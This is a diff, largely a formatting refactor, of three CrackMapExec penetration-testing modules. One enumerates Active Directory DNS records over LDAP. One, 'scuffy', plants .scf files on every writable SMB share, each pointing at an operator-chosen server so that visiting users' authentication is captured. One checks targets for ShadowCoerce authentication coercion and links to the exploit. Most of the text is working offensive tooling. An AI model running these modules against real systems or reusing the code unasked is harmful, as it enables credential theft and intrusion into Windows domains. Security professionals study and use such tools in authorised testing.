connection.search(root, '(objectClass=dnsZone)', search_scope=LEVEL, attributes=['dc'])
|
||||
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
|
||||
zones = []
|
||||
for entry in connection.response:
|
||||
if entry['type'] != 'searchResEntry':
|
||||
if entry["type"] != "searchResEntry":
|
||||
continue
|
||||
zones.append(entry['attributes']['dc'])
|
||||
zones.append(entry["attributes"]["dc"])
|
||||
return zones
|
||||
|
||||
|
||||
def get_dns_resolver(server, context):
|
||||
# Create a resolver object
|
||||
dnsresolver = dns.resolver.Resolver()
|
||||
# Is our host an IP? In that case make sure the server IP is used
|
||||
# if not assume lookups are working already
|
||||
try:
|
||||
if server.startswith('ldap://'):
|
||||
if server.startswith("ldap://"):
|
||||
server = server[7:]
|
||||
if server.startswith('ldaps://'):
|
||||
if server.startswith("ldaps://"):
|
||||
server = server[8:]
|
||||
socket.inet_aton(server)
|
||||
dnsresolver.nameservers = [server]
|
||||
except socket.error:
|
||||
context.info('Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP'\
|
||||
' as target host to use that server for queries')
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
|
||||
return dnsresolver
|
||||
|
||||
|
||||
def ldap2domain(ldap):
|
||||
return re.sub(',DC=', '.', ldap[ldap.lower().find('dc='):], flags=re.I)[3:]
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
|
||||
|
||||
|
||||
def new_record(rtype, serial):
|
||||
nr = DNS_RECORD()
|
||||
nr['Type'] = rtype
|
||||
nr['Serial'] = serial
|
||||
nr['TtlSeconds'] = 180
|
||||
nr["Type"] = rtype
|
||||
nr["Serial"] = serial
|
||||
nr["TtlSeconds"] = 180
|
||||
# From authoritive zone
|
||||
nr['Rank'] = 240
|
||||
nr["Rank"] = 240
|
||||
return nr
|
||||
|
||||
|
||||
# From: https://docs.microsoft.com/en-us/windows/win32/dns/dns-constants
|
||||
RECORD_TYPE_MAPPING = {
|
||||
0: 'ZERO',
|
||||
1: 'A',
|
||||
2: 'NS',
|
||||
5: 'CNAME',
|
||||
6: 'SOA',
|
||||
12: 'PTR',
|
||||
#15: 'MX',
|
||||
#16: 'TXT',
|
||||
28: 'AAAA',
|
||||
33: 'SRV'
|
||||
}
|
||||
0: "ZERO",
|
||||
1: "A",
|
||||
2: "NS",
|
||||
5: "CNAME",
|
||||
6: "SOA",
|
||||
12: "PTR",
|
||||
# 15: 'MX',
|
||||
# 16: 'TXT',
|
||||
28: "AAAA",
|
||||
33: "SRV",
|
||||
}
|
||||
|
||||
|
||||
def searchResEntry_to_dict(results):
|
||||
data = {}
|
||||
for attr in results['attributes']:
|
||||
key = str(attr['type'])
|
||||
value = str(attr['vals'][0])
|
||||
for attr in results["attributes"]:
|
||||
key = str(attr["type"])
|
||||
value = str(attr["vals"][0])
|
||||
data[key] = value
|
||||
return data
|
||||
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'get-network'
|
||||
name = "get-network"
|
||||
description = ""
|
||||
supported_protocols = ['ldap']
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ALL Get DNS and IP (default: false)
|
||||
ONLY_HOSTS Get DNS only (no ip) (default: false)
|
||||
ALL Get DNS and IP (default: false)
|
||||
ONLY_HOSTS Get DNS only (no ip) (default: false)
|
||||
"""
|
||||
|
||||
self.showall = False
|
||||
self.showhosts = False
|
||||
self.showip = True
|
||||
|
||||
if module_options and 'ALL' in module_options:
|
||||
if module_options['ALL'].lower() == "true" or module_options['ALL'] == "1":
|
||||
if module_options and "ALL" in module_options:
|
||||
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
|
||||
self.showall = True
|
||||
else:
|
||||
print("Could not parse ALL option.")
|
||||
if module_options and 'IP' in module_options:
|
||||
if module_options['IP'].lower() == "true" or module_options['IP'] == "1":
|
||||
if module_options and "IP" in module_options:
|
||||
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
|
||||
self.showip = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
if module_options and 'ONLY_HOSTS' in module_options:
|
||||
if module_options['ONLY_HOSTS'].lower() == "true" or module_options['ONLY_HOSTS'] == "1":
|
||||
if module_options and "ONLY_HOSTS" in module_options:
|
||||
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
|
||||
self.showhosts = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
|
||||
|
||||
def on_login(self, context, connection):
|
||||
zone = ldap2domain(connection.baseDN)
|
||||
dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % connection.baseDN
|
||||
searchtarget = 'DC=%s,%s' % (zone, dnsroot)
|
||||
context.log.display('Querying zone for records')
|
||||
sfilter = '(DC=*)'
|
||||
dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
|
||||
searchtarget = "DC=%s,%s" % (zone, dnsroot)
|
||||
context.log.display("Querying zone for records")
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
searchBase=searchtarget,
|
||||
searchFilter=sfilter,
|
||||
attributes=['dnsRecord','dNSTombstoned','name'],
|
||||
sizeLimit=100000
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
sizeLimit=100000,
|
||||
)
|
||||
except ldap.LDAPSearchError as e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
list_sites = e.getAnswers()
|
||||
@@ -142,39 +145,56 @@ class CMEModule:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
site = searchResEntry_to_dict(item)
|
||||
recordname = site['name']
|
||||
recordname = site["name"]
|
||||
|
||||
if "dnsRecord" in site:
|
||||
record = bytes(site['dnsRecord'].encode('latin1'))
|
||||
record = bytes(site["dnsRecord"].encode("latin1"))
|
||||
dr = DNS_RECORD(record)
|
||||
if RECORD_TYPE_MAPPING[dr['Type']] == "A":
|
||||
if dr['Type'] == 1:
|
||||
address = DNS_RPC_RECORD_A(dr['Data'])
|
||||
if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones':
|
||||
outdata.append({'name':recordname, 'type': RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()})
|
||||
if dr['Type'] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ['CNAME', 'NS', 'PTR']]:
|
||||
address = DNS_RPC_RECORD_NODE_NAME(dr['Data'])
|
||||
if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones':
|
||||
outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address[list(address.fields)[0]].toFqdn()})
|
||||
elif dr['Type'] == 28:
|
||||
address = DNS_RPC_RECORD_AAAA(dr['Data'])
|
||||
if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones':
|
||||
outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()})
|
||||
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
|
||||
if dr["Type"] == 1:
|
||||
address = DNS_RPC_RECORD_A(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address.formatCanonical(),
|
||||
}
|
||||
)
|
||||
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
|
||||
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address[list(address.fields)[0]].toFqdn(),
|
||||
}
|
||||
)
|
||||
elif dr["Type"] == 28:
|
||||
address = DNS_RPC_RECORD_AAAA(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address.formatCanonical(),
|
||||
}
|
||||
)
|
||||
|
||||
context.log.highlight('Found %d records' % len(outdata))
|
||||
path = os.path.expanduser('~/.cme/logs/{}_network_{}.log'.format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
with codecs.open(path, 'w', 'utf-8') as outfile:
|
||||
context.log.highlight("Found %d records" % len(outdata))
|
||||
path = expanduser("~/.cme/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
outfile.write('{}\n'.format(row['name'] + '.' + connection.domain))
|
||||
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
|
||||
elif self.showall:
|
||||
outfile.write('{} \t {}\n'.format(row['name'] + '.' + connection.domain, row['value']))
|
||||
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
|
||||
else:
|
||||
outfile.write('{}\n'.format(row['value']))
|
||||
context.log.success('Dumped {} records to {}'.format(len(outdata), path))
|
||||
outfile.write("{}\n".format(row["value"]))
|
||||
context.log.success("Dumped {} records to {}".format(len(outdata), path))
|
||||
if not self.showall and not self.showhosts:
|
||||
context.log.display("To extract CIDR from the {} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
|
||||
|
||||
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
|
||||
|
||||
|
||||
class DNS_RECORD(Structure):
|
||||
@@ -182,19 +202,21 @@ class DNS_RECORD(Structure):
|
||||
dnsRecord - used in LDAP
|
||||
[MS-DNSP] section 2.3.2.2
|
||||
"""
|
||||
|
||||
structure = (
|
||||
('DataLength', '<H-Data'),
|
||||
('Type', '<H'),
|
||||
('Version', 'B=5'),
|
||||
('Rank', 'B'),
|
||||
('Flags', '<H=0'),
|
||||
('Serial', '<L'),
|
||||
('TtlSeconds', '>L'),
|
||||
('Reserved', '<L=0'),
|
||||
('TimeStamp', '<L=0'),
|
||||
('Data', ':')
|
||||
("DataLength", "<H-Data"),
|
||||
("Type", "<H"),
|
||||
("Version", "B=5"),
|
||||
("Rank", "B"),
|
||||
("Flags", "<H=0"),
|
||||
("Serial", "<L"),
|
||||
("TtlSeconds", ">L"),
|
||||
("Reserved", "<L=0"),
|
||||
("TimeStamp", "<L=0"),
|
||||
("Data", ":"),
|
||||
)
|
||||
|
||||
|
||||
# Note that depending on whether we use RPC or LDAP all the DNS_RPC_XXXX
|
||||
# structures use DNS_RPC_NAME when communication is over RPC,
|
||||
# but DNS_COUNT_NAME is the way they are stored in LDAP.
|
||||
@@ -203,6 +225,7 @@ class DNS_RECORD(Structure):
|
||||
# over RPC the DNS_COUNT_NAME in the structures must be replaced with DNS_RPC_NAME,
|
||||
# which is also consistent with how MS-DNSP describes it.
|
||||
|
||||
|
||||
class DNS_RPC_NAME(Structure):
|
||||
"""
|
||||
DNS_RPC_NAME
|
||||
@@ -210,10 +233,9 @@ class DNS_RPC_NAME(Structure):
|
||||
MUST be converted to DNS_COUNT_NAME for LDAP
|
||||
[MS-DNSP] section 2.2.2.2.1
|
||||
"""
|
||||
structure = (
|
||||
('cchNameLength', 'B-dnsName'),
|
||||
('dnsName', ':')
|
||||
)
|
||||
|
||||
structure = (("cchNameLength", "B-dnsName"), ("dnsName", ":"))
|
||||
|
||||
|
||||
class DNS_COUNT_NAME(Structure):
|
||||
"""
|
||||
@@ -222,50 +244,49 @@ class DNS_COUNT_NAME(Structure):
|
||||
MUST be converted to DNS_RPC_NAME for RPC communication
|
||||
[MS-DNSP] section 2.2.2.2.2
|
||||
"""
|
||||
structure = (
|
||||
('Length', 'B-RawName'),
|
||||
('LabelCount', 'B'),
|
||||
('RawName', ':')
|
||||
)
|
||||
|
||||
structure = (("Length", "B-RawName"), ("LabelCount", "B"), ("RawName", ":"))
|
||||
|
||||
def toFqdn(self):
|
||||
ind = 0
|
||||
labels = []
|
||||
for i in range(self['LabelCount']):
|
||||
nextlen = unpack('B', self['RawName'][ind:ind+1])[0]
|
||||
labels.append(self['RawName'][ind+1:ind+1+nextlen].decode('utf-8'))
|
||||
for i in range(self["LabelCount"]):
|
||||
nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
|
||||
labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
|
||||
ind += nextlen + 1
|
||||
# For the final dot
|
||||
labels.append('')
|
||||
return '.'.join(labels)
|
||||
labels.append("")
|
||||
return ".".join(labels)
|
||||
|
||||
|
||||
class DNS_RPC_NODE(Structure):
|
||||
"""
|
||||
DNS_RPC_NODE
|
||||
[MS-DNSP] section 2.2.2.2.3
|
||||
"""
|
||||
|
||||
structure = (
|
||||
('wLength', '>H'),
|
||||
('wRecordCount', '>H'),
|
||||
('dwFlags', '>L'),
|
||||
('dwChildCount', '>L'),
|
||||
('dnsNodeName', ':')
|
||||
("wLength", ">H"),
|
||||
("wRecordCount", ">H"),
|
||||
("dwFlags", ">L"),
|
||||
("dwChildCount", ">L"),
|
||||
("dnsNodeName", ":"),
|
||||
)
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_A(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_A
|
||||
[MS-DNSP] section 2.2.2.2.4.1
|
||||
"""
|
||||
structure = (
|
||||
('address', ':'),
|
||||
)
|
||||
|
||||
structure = (("address", ":"),)
|
||||
|
||||
def formatCanonical(self):
|
||||
return socket.inet_ntoa(self['address'])
|
||||
return socket.inet_ntoa(self["address"])
|
||||
|
||||
def fromCanonical(self, canonical):
|
||||
self['address'] = socket.inet_aton(canonical)
|
||||
self["address"] = socket.inet_aton(canonical)
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_NODE_NAME(Structure):
|
||||
@@ -273,83 +294,88 @@ class DNS_RPC_RECORD_NODE_NAME(Structure):
|
||||
DNS_RPC_RECORD_NODE_NAME
|
||||
[MS-DNSP] section 2.2.2.2.4.2
|
||||
"""
|
||||
structure = (
|
||||
('nameNode', ':', DNS_COUNT_NAME),
|
||||
)
|
||||
|
||||
structure = (("nameNode", ":", DNS_COUNT_NAME),)
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_SOA(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_SOA
|
||||
[MS-DNSP] section 2.2.2.2.4.3
|
||||
"""
|
||||
|
||||
structure = (
|
||||
('dwSerialNo', '>L'),
|
||||
('dwRefresh', '>L'),
|
||||
('dwRetry', '>L'),
|
||||
('dwExpire', '>L'),
|
||||
('dwMinimumTtl', '>L'),
|
||||
('namePrimaryServer', ':', DNS_COUNT_NAME),
|
||||
('zoneAdminEmail', ':', DNS_COUNT_NAME)
|
||||
("dwSerialNo", ">L"),
|
||||
("dwRefresh", ">L"),
|
||||
("dwRetry", ">L"),
|
||||
("dwExpire", ">L"),
|
||||
("dwMinimumTtl", ">L"),
|
||||
("namePrimaryServer", ":", DNS_COUNT_NAME),
|
||||
("zoneAdminEmail", ":", DNS_COUNT_NAME),
|
||||
)
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_NULL(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_NULL
|
||||
[MS-DNSP] section 2.2.2.2.4.4
|
||||
"""
|
||||
structure = (
|
||||
('bData', ':'),
|
||||
)
|
||||
|
||||
structure = (("bData", ":"),)
|
||||
|
||||
|
||||
# Some missing structures here that I skipped
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_NAME_PREFERENCE(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_NAME_PREFERENCE
|
||||
[MS-DNSP] section 2.2.2.2.4.8
|
||||
"""
|
||||
structure = (
|
||||
('wPreference', '>H'),
|
||||
('nameExchange', ':', DNS_COUNT_NAME)
|
||||
)
|
||||
|
||||
structure = (("wPreference", ">H"), ("nameExchange", ":", DNS_COUNT_NAME))
|
||||
|
||||
|
||||
# Some missing structures here that I skipped
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_AAAA(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_AAAA
|
||||
[MS-DNSP] section 2.2.2.2.4.17
|
||||
"""
|
||||
structure = (
|
||||
('ipv6Address', '16s'),
|
||||
)
|
||||
|
||||
structure = (("ipv6Address", "16s"),)
|
||||
|
||||
def formatCanonical(self):
|
||||
return socket.inet_ntop(socket.AF_INET6, self['ipv6Address'])
|
||||
return socket.inet_ntop(socket.AF_INET6, self["ipv6Address"])
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_SRV(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_SRV
|
||||
[MS-DNSP] section 2.2.2.2.4.18
|
||||
"""
|
||||
|
||||
structure = (
|
||||
('wPriority', '>H'),
|
||||
('wWeight', '>H'),
|
||||
('wPort', '>H'),
|
||||
('nameTarget', ':', DNS_COUNT_NAME)
|
||||
("wPriority", ">H"),
|
||||
("wWeight", ">H"),
|
||||
("wPort", ">H"),
|
||||
("nameTarget", ":", DNS_COUNT_NAME),
|
||||
)
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_TS(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_TS
|
||||
[MS-DNSP] section 2.2.2.2.4.23
|
||||
"""
|
||||
structure = (
|
||||
('entombedTime', '<Q'),
|
||||
)
|
||||
|
||||
structure = (("entombedTime", "<Q"),)
|
||||
|
||||
def toDatetime(self):
|
||||
microseconds = int(self['entombedTime'] / 10)
|
||||
microseconds = int(self["entombedTime"] / 10)
|
||||
try:
|
||||
return datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=microseconds)
|
||||
return datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=microseconds)
|
||||
except OverflowError:
|
||||
return None
|
||||
|
||||
+20
-15
@@ -11,10 +11,11 @@ class CMEModule:
|
||||
URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/
|
||||
Module by: @kierangroome
|
||||
"""
|
||||
|
||||
name = "scuffy"
|
||||
description = "Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -34,24 +35,24 @@ class CMEModule:
|
||||
"""
|
||||
self.cleanup = False
|
||||
|
||||
if 'CLEANUP' in module_options:
|
||||
self.cleanup = bool(module_options['CLEANUP'])
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
|
||||
if 'NAME' not in module_options:
|
||||
context.log.fail('NAME option is required!')
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if not self.cleanup and 'SERVER' not in module_options:
|
||||
context.log.fail('SERVER option is required!')
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
exit(1)
|
||||
|
||||
self.scf_name = module_options['NAME']
|
||||
self.scf_name = module_options["NAME"]
|
||||
self.scf_path = f"/tmp/{self.scf_name}.scf"
|
||||
self.file_path = ntpath.join('\\', f"{self.scf_name}.scf")
|
||||
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
|
||||
|
||||
if not self.cleanup:
|
||||
self.server = module_options['SERVER']
|
||||
scuf = open(self.scf_path, 'a')
|
||||
self.server = module_options["SERVER"]
|
||||
scuf = open(self.scf_path, "a")
|
||||
scuf.write(f"[Shell]\n")
|
||||
scuf.write(f"Command=2\n")
|
||||
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
|
||||
@@ -60,18 +61,22 @@ class CMEModule:
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$', 'NETLOGON']:
|
||||
if "WRITE" in share["access"] and share["name"] not in [
|
||||
"C$",
|
||||
"ADMIN$",
|
||||
"NETLOGON",
|
||||
]:
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.scf_path, 'rb') as scf:
|
||||
with open(self.scf_path, "rb") as scf:
|
||||
try:
|
||||
connection.conn.putFile(share['name'], self.file_path, scf.read)
|
||||
connection.conn.putFile(share["name"], self.file_path, scf.read)
|
||||
context.log.success(f"Created SCF file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing SCF file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share['name'], self.file_path)
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted SCF file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting SCF file on share {share['name']}: {e}")
|
||||
|
||||
+125
-59
@@ -8,43 +8,65 @@ from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.smbconnection import SessionError
|
||||
from cme.logger import cme_logger
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = 'shadowcoerce'
|
||||
name = "shadowcoerce"
|
||||
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true
|
||||
LISTENER Listener IP address (default: 127.0.0.1)
|
||||
IPSC Use IsPathShadowCopied (default: False). ex. IPSC=true
|
||||
LISTENER Listener IP address (default: 127.0.0.1)
|
||||
"""
|
||||
self.ipsc = False
|
||||
self.ipsc = False
|
||||
self.listener = "127.0.0.1"
|
||||
if 'LISTENER' in module_options:
|
||||
self.listener = module_options['LISTENER']
|
||||
if 'IPSC' in module_options:
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
if "IPSC" in module_options:
|
||||
# Any string that's not empty can be casted to bool True
|
||||
self.ipsc = bool(module_options['IPSC'])
|
||||
self.ipsc = bool(module_options["IPSC"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
c = CoerceAuth()
|
||||
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain , pipe="FssagentRpc", doKerberos=connection.kerberos, dcHost=connection.kdcHost)
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
pipe="FssagentRpc",
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
)
|
||||
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
|
||||
if dce == 1:
|
||||
context.log.debug("First try failed. Creating another dce connection...")
|
||||
# Sleeping mandatory for second try
|
||||
time.sleep(2)
|
||||
dce = c.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, pipe="FssagentRpc")
|
||||
|
||||
if self.ipsc:
|
||||
dce = c.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
pipe="FssagentRpc",
|
||||
)
|
||||
|
||||
if self.ipsc:
|
||||
context.log.debug("ipsc = %s", self.ipsc)
|
||||
context.log.debug("Using IsPathShadowCopied!")
|
||||
result = c.IsPathShadowCopied(dce, self.listener)
|
||||
@@ -58,10 +80,10 @@ class CMEModule:
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Error disconnecting DCE session: {e}")
|
||||
|
||||
if result:
|
||||
if result:
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
|
||||
|
||||
|
||||
else:
|
||||
context.log.debug("Target not vulnerable to ShadowCoerce")
|
||||
|
||||
@@ -70,33 +92,64 @@ class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
error_messages = system_errors.ERROR_MESSAGES
|
||||
error_messages.update(MSFSRVP_ERROR_CODES)
|
||||
if key in error_messages:
|
||||
error_msg_short = error_messages[key][0]
|
||||
error_msg_verbose = error_messages[key][1]
|
||||
return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
return "SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
else:
|
||||
return 'SessionError: unknown error code: 0x%x' % self.error_code
|
||||
return "SessionError: unknown error code: 0x%x" % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# Error Codes
|
||||
################################################################################
|
||||
MSFSRVP_ERROR_CODES = {
|
||||
0x80070005: ("E_ACCESSDENIED", "The caller does not have the permissions to perform the operation"),
|
||||
0x80070005: (
|
||||
"E_ACCESSDENIED",
|
||||
"The caller does not have the permissions to perform the operation",
|
||||
),
|
||||
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
|
||||
0x80042301: ("FSRVP_E_BAD_STATE", "A method call was invalid because of the state of the server."),
|
||||
0x80042316: ("FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS", "A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress."),
|
||||
0x8004230C: ("FSRVP_E_NOT_SUPPORTED", "The file store that contains the share to be shadow copied is not supported by the server."),
|
||||
0x00000102: ("FSRVP_E_WAIT_TIMEOUT", "The wait for a shadow copy commit or expose operation has timed out."),
|
||||
0xFFFFFFFF: ("FSRVP_E_WAIT_FAILED", "The wait for a shadow copy commit expose operation has failed."),
|
||||
0x8004230D: ("FSRVP_E_OBJECT_ALREADY_EXISTS", "The specified object already exists."),
|
||||
0x80042301: (
|
||||
"FSRVP_E_BAD_STATE",
|
||||
"A method call was invalid because of the state of the server.",
|
||||
),
|
||||
0x80042316: (
|
||||
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
|
||||
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
|
||||
),
|
||||
0x8004230C: (
|
||||
"FSRVP_E_NOT_SUPPORTED",
|
||||
"The file store that contains the share to be shadow copied is not supported by the server.",
|
||||
),
|
||||
0x00000102: (
|
||||
"FSRVP_E_WAIT_TIMEOUT",
|
||||
"The wait for a shadow copy commit or expose operation has timed out.",
|
||||
),
|
||||
0xFFFFFFFF: (
|
||||
"FSRVP_E_WAIT_FAILED",
|
||||
"The wait for a shadow copy commit expose operation has failed.",
|
||||
),
|
||||
0x8004230D: (
|
||||
"FSRVP_E_OBJECT_ALREADY_EXISTS",
|
||||
"The specified object already exists.",
|
||||
),
|
||||
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
|
||||
0x8004231B: ("FSRVP_E_UNSUPPORTED_CONTEXT", "The specified context value is invalid."),
|
||||
0x80042501: ("FSRVP_E_SHADOWCOPYSET_ID_MISMATCH", "The provided ShadowCopySetId does not exist."),
|
||||
0x8004231B: (
|
||||
"FSRVP_E_UNSUPPORTED_CONTEXT",
|
||||
"The specified context value is invalid.",
|
||||
),
|
||||
0x80042501: (
|
||||
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
|
||||
"The provided ShadowCopySetId does not exist.",
|
||||
),
|
||||
}
|
||||
|
